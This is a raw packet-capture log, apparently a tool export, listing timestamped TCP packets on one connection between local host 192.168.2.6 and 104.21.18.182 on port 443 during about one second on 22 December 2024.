Dec 22, 2024 13:42:15.862162113 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.865062952 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.865115881 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.868252039 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.868307114 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.873644114 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.873701096 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.876540899 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.876594067 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.879374027 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.879436970 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.897738934 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.897816896 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.901994944 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.902054071 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.905071974 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.905129910 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.973825932 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.973882914 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.974782944 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.974842072 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.977412939 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.977477074 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.979469061 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.979526997 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.982986927 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.983086109 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.984976053 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.985023022 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.986699104 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.986753941 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.988612890 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.988672972 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.990278006 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.990343094 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.993805885 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.993861914 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.995557070 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.995613098 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.999047041 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.999114037 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.000807047 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.000874996 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.002742052 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.002795935 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.006134987 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.006190062 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.006268978 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.006316900 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.007688046 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.007739067 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.012207031 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.012309074 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.014185905 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.014238119 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.015618086 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.015670061 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.017100096 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.017153978 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.020339966 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.020392895 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.022008896 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.022063971 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.022074938 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.022115946 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.023607016 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.023658037 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.025213957 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.025268078 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.027753115 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.027821064 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.029442072 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.029495955 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.031064034 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.031127930 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.032125950 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.032186031 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.034203053 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.034255028 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.040893078 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.040901899 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.040937901 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.040965080 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.040972948 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.041004896 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.041034937 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.044090033 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.044154882 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.046329975 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.046384096 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.091403008 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.091531038 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.167553902 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.167639971 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.167656898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.168512106 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.168564081 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.168574095 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.168617010 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.169562101 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.169616938 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.171322107 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.171376944 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.172408104 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.172467947 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.173351049 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.173404932 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.174376011 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.174432993 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.176234961 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.176295996 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.179406881 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.179481030 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.179488897 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.182174921 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.182238102 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.182252884 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.183228970 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.183284998 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.183294058 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.183340073 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.184150934 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.184207916 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.185292959 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.185359955 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.186119080 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.186170101 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.188111067 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.188175917 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.188226938 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.188276052 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.189116955 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.189189911 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.191076994 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.191133976 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.192068100 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.192123890 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.193092108 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.193150997 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.194188118 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.194241047 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.199619055 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.199659109 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.199687004 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.199692965 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.199723005 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.202481985 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.202538967 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.202548027 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.202589035 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.203711987 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.203763008 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.205554008 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.205610991 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.207628965 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.207685947 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.208537102 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.208586931 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.210398912 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.210445881 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.212306976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.212358952 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.212774992 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.212822914 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.213896990 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.213943005 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.282720089 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.282804012 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.282866001 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.282922029 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.284460068 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.284521103 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.358167887 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.358231068 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.361088991 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.361164093 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.361171961 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.361213923 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.362746000 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.362817049 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.364485979 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.364554882 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.369615078 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.369677067 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.369710922 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.369719028 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.369745970 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.371304989 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.371371031 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.371377945 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.371419907 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.372127056 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.372186899 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.372936010 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.372993946 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.376250982 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.376319885 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.376327038 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.377243042 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.377295017 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.377302885 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.377346992 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.378073931 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.378134012 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.379761934 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.379854918 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.380599976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.380667925 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.381540060 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.381601095 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.383275986 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.383342028 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.384120941 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.384182930 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.384825945 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.384893894 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.386039972 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.386113882 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.386152029 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.386210918 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.388025045 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.388096094 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.388647079 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.388705015 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.390290976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.390358925 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.391180992 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.391241074 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.395421028 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.395471096 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.395498037 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.395514011 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.395541906 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.396231890 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.396286964 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.396300077 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.396370888 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.404712915 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.404772997 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.405092001 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.405172110 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.406544924 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.406594038 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.475442886 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.475526094 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.476254940 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.476315975 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.550487041 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.550554991 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.550600052 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.550657988 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.552192926 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.552256107 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.553211927 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.553267956 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.558799028 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.558816910 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.558862925 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.558900118 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.558932066 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.560525894 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.560606956 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.560628891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.562155962 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.562201023 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.562215090 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.562273026 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.562998056 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.563044071 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.563811064 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.563854933 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.563941002 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.563986063 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.565622091 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.565680981 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.568896055 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.568957090 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.568969011 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.569731951 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.569780111 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.569793940 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.569849014 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.570570946 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.570619106 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.571501970 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.571557045 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.572487116 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.572547913 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.573247910 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.573302984 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.573949099 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.574006081 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.574656010 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.574696064 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.574793100 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.574843884 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.575498104 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.575546980 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.575635910 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.575681925 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.576788902 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.576838970 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.576848984 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.576867104 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.576917887 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.578440905 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.578501940 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.579305887 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.579358101 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.580290079 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.580349922 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.581813097 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.581871033 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.582648993 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.582695961 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.583470106 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.583532095 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.584522963 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.584587097 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.585242987 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.585294008 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.586963892 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.587030888 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.587706089 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.587762117 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.596565008 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.596628904 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.597659111 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.597719908 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.598464966 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.598515987 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.666512012 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.666579008 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.667615891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.667684078 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.668385983 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.668447971 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.742408991 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.742660046 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.743139029 CET	443	49720	104.21.18.182	192.168.2.6
